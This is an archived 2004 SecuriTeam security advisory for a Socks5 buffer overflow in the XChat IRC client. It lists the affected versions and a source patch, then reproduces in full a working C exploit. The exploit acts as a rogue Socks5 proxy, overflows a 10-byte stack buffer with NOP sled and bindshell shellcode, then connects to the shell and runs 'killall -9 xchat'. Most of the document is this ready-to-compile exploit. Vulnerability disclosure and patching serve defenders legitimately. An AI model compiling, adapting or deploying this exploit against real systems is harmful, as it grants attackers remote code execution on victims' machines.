[UNIX] X-Chat Socks5 Buffer Overflow Vulnerability (Exploit)
From: SecuriTeam (support_at_securiteam.com)
Date: 05/04/04
- Previous message: SecuriTeam: "[EXPL] autoRST - Automated TCP RST Exploit"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
To: list@securiteam.com Date: 4 May 2004 16:49:30 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
X-Chat Socks5 Buffer Overflow Vulnerability (Exploit)
------------------------------------------------------------------------
SUMMARY
<http://www.XChat.org> XChat's Socks-5 proxy code is vulnerable to a
remote exploit. To successfully exploit the code, you would need to enable
Socks5 traversal (default off) and connect to the attacker's own custom
proxy server.
DETAILS
Vulnerable Systems:
* XChat versions 1.8.0 up to 2.0.8
Immune Systems:
* XChat version 2.0.9 or newer
Solution:
Source code patch is available at:
<http://xchat.org/files/source/2.0/patches/>
http://xchat.org/files/source/2.0/patches/. The Fedora RPMs at
www.xchat.org have been rebuilt with this patch applied.
Patch:
# Fix broken Socks5 traversal in xchat <= 2.0.8
diff -ru xchat-2.0.8/src/common/server.c xchat-2.0.9/src/common/server.c
--- xchat-2.0.8/src/common/server.c 2004-03-16 15:33:47.000000000 +1100
+++ xchat-2.0.8p1/src/common/server.c 2004-04-05 15:33:15.000000000 +1000
@@ -1054,7 +1054,7 @@
struct sock5_connect1 sc1;
unsigned char *sc2;
unsigned int packetlen, addrlen;
- unsigned char buf[10];
+ unsigned char buf[260];
sc1.version = 5;
sc1.nmethods = 1;
@@ -1095,7 +1095,7 @@
{
if (recv (sok, buf, 1, 0) != 1)
return 1;
- packetlen = buf[0] + 2;
+ packetlen = buf[0] + 2; /* can't exceed 260 */
if (recv (sok, buf, packetlen, 0) != packetlen)
return 1;
}
Exploit:
/*[ X-Chat[v1.8.0 - v2.0.8]: socks-5 remote buffer overflow exploit. ]*
* *
* by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo/realhalo) *
* http://fakehalo.deadpig.org/xxchat-socks5.c *
* *
* X-Chat homepage: *
* http://www.xchat.org *
* *
* compile: *
* cc xxchat-socks5.c -o xxchat-socks5 *
* *
* trigger bug/workings(X-Chat socks-5 comminucation): *
* 0x05,0x00 *
* 0x05,0x00,0x00,0x03 *
* 0x?? (the size of the following "data", 255MAX(char/int8)) *
* 0x??,0x??,0x?? ... ("data") *
* *
* ie. "\x05\x00\x05\x00\x00\x03\xffxxxxxxxxxxxxxxxxxxxxxxxxxxxx..." *
* *
* the "data", limited by the previous byte, is then copied into a *
* 10 byte buffer labeled buf[]. the idea is to set the size of *
* the incoming data to a larger size than expected(ie. 0xff/255MAX), *
* followed by sending that amount of data to exceed the 10 byte *
* buffer boundary and overwrite memory addresses(stack based). *
* *
* the problem with the size limit is that it is defined in one *
* character(char/int8), making a maximum of up to 255 bytes to be *
* written to buf[]. so, this only leaves about ~100+ nops breathing *
* room per offset. another problem is that the location of the *
* shellcode depends on where/what X-Chat has already done. those *
* two things together make for a very unpractical "in the wild" *
* exploit scenario. *
* *
* i just saw several cryptic advisories about this bug, so i figured *
* i would look into it and see exactly what it was. *
* *
* if X-Chat attempts to connect to a server(through socks-5) *
* immediately upon the start of X-Chat("autoconnect") it will make *
* the shellcode location a bit easier to find. on both source *
* compiled version 1.8.0(on rh7.1) and mandrake's rpm static binary *
* version 2.0.5(on mdk9.1) an offset of 2600 worked. *
* *
* note: the first thing that is sent to the bindshell, upon *
* successful exploitation, is "killall -9 xchat". this will kill *
* X-Chat, but still keep the bindshell alive/active. when searching *
* for the correct offset, use increments of 100(100,200,300,...). *
**********************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <strings.h>
#include <signal.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define BUFSIZE 255
#define BSEADDR 0xbffffffa
#define DFLPORT 1080
#define DFLSPRT 7979
#define TIMEOUT 5
static char x86_exec[]= /* bindshell(??), netric based. */
"\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66"
"\xcd\x80\x31\xd2\x52\x66\x68\x00\x00\x43\x66\x53\x89"
"\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\x40\x89"
"\x44\x24\x04\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52"
"\x52\x43\xb0\x66\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80"
"\x41\x80\xf9\x03\x75\xf6\x52\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd"
"\x80";
char *getcode(unsigned int);
char *socks5_bind(unsigned short,unsigned int);
void getshell(char *,unsigned short);
void printe(char *,short);
void sig_alarm(){printe("alarm/timeout hit.",1);}
int main(int argc,char **argv){
unsigned short port=DFLPORT,sport=DFLSPRT;
unsigned int retaddr=BSEADDR;
char *hostptr;
if(BUFSIZE<0||BUFSIZE>255)printe("BUFSIZE must be 1-255(char/int8).",1);
printf("[*] X-Chat[v1.8.0-v2.0.8]: socks-5 remote buffer overflow exp"
"loit.\n[*] by: by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo)\n\n");
if(argc<2){
printf("[!] syntax: %s <offset from 0x%.8x> [port] [shell port]\n\n",
argv[0],BSEADDR);
exit(1);
}
if(argc>1)retaddr-=atoi(argv[1]);
if(argc>2)port=atoi(argv[2]);
if(argc>3)sport=atoi(argv[3]);
x86_exec[20]=(sport&0xff00)>>8;
x86_exec[21]=(sport&0x00ff);
printf("[*] eip: 0x%.8x, socks-5 port: %u, bindshell port: %u.\n",
retaddr,port,sport);
hostptr=socks5_bind(port,retaddr);
sleep(1);
getshell(hostptr,sport);
exit(0);
}
char *getcode(unsigned int retaddr){
unsigned char i=0;
char *buf;
if(!(buf=(char *)malloc(BUFSIZE+1)))
printe("getcode(): allocating memory failed.",1);
memset(buf,0x90,BUFSIZE);
for(i=0;i<64;i+=4){*(long *)&buf[i]=retaddr;}
memcpy((buf+BUFSIZE-strlen(x86_exec)),x86_exec,strlen(x86_exec));
return(buf);
}
char *socks5_bind(unsigned short port,unsigned int retaddr){
int ssock=0,sock=0,so=1;
socklen_t salen=0;
unsigned char *buf;
struct sockaddr_in ssa,sa;
ssock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
setsockopt(ssock,SOL_SOCKET,SO_REUSEADDR,(void *)&so,sizeof(so));
#ifdef SO_REUSEPORT
setsockopt(ssock,SOL_SOCKET,SO_REUSEPORT,(void *)&so,sizeof(so));
#endif
ssa.sin_family=AF_INET;
ssa.sin_port=htons(port);
ssa.sin_addr.s_addr=INADDR_ANY;
printf("[*] awaiting connection from: *:%d.\n",port);
if(bind(ssock,(struct sockaddr *)&ssa,sizeof(ssa))==-1)
printe("could not bind socket.",1);
listen(ssock,2);
bzero((char*)&sa,sizeof(struct sockaddr_in));
salen=sizeof(sa);
sock=accept(ssock,(struct sockaddr *)&sa,&salen);
close(ssock);
printf("[*] socks-5 server connection established.\n");
if(!(buf=(unsigned char *)malloc(BUFSIZE+7+1)))
printe("socks5_bind(): allocating memory failed.",1);
memcpy(buf,"\x05\x00\x05\x00\x00\x03",6);
buf[6]=BUFSIZE;
memcpy(buf+7,getcode(retaddr),BUFSIZE);
printf("[*] sending specially crafted string. (exploit)\n");
write(sock,buf,BUFSIZE+7);
free(buf);
sleep(1);
close(sock);
printf("[*] socks-5 server connection closed.\n");
return(inet_ntoa(sa.sin_addr));
}
void getshell(char *hostname,unsigned short port){
int sock,r;
fd_set fds;
char buf[4096+1];
struct hostent *he;
struct sockaddr_in sa;
printf("[*] checking to see if the exploit was successful.\n");
if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
printe("getshell(): socket() failed.",1);
sa.sin_family=AF_INET;
if((sa.sin_addr.s_addr=inet_addr(hostname))){
if(!(he=gethostbyname(hostname)))
printe("getshell(): couldn't resolve.",1);
memcpy((char *)&sa.sin_addr,(char *)he->h_addr,
sizeof(sa.sin_addr));
}
sa.sin_port=htons(port);
signal(SIGALRM,sig_alarm);
alarm(TIMEOUT);
printf("[*] attempting to connect: %s:%d.\n",hostname,port);
if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))){
printf("[!] connection failed: %s:%d.\n",hostname,port);
return;
}
alarm(0);
printf("[*] successfully connected: %s:%d.\n\n",hostname,port);
signal(SIGINT,SIG_IGN);
write(sock,"uname -a;id ;killall -9 xchat\n",30);
while(1){
FD_ZERO(&fds);
FD_SET(0,&fds);
FD_SET(sock,&fds);
if(select(sock+1,&fds,0,0,0)<1)
printe("getshell(): select() failed.",1);
if(FD_ISSET(0,&fds)){
if((r=read(0,buf,4096))<1)
printe("getshell(): read() failed.",1);
if(write(sock,buf,r)!=r)
printe("getshell(): write() failed.",1);
}
if(FD_ISSET(sock,&fds)){
if((r=read(sock,buf,4096))<1)
exit(0);
write(1,buf,r);
}
}
close(sock);
return;
}
void printe(char *err,short e){
printf("[!] %s\n",err);
if(e)exit(1);
return;
}
ADDITIONAL INFORMATION
The information has been provided by tsifra.
The exploit code has been provided by <mailto:v9@fakehalo.deadpig.org>
vade79/v9
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: SecuriTeam: "[EXPL] autoRST - Automated TCP RST Exploit"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|
|
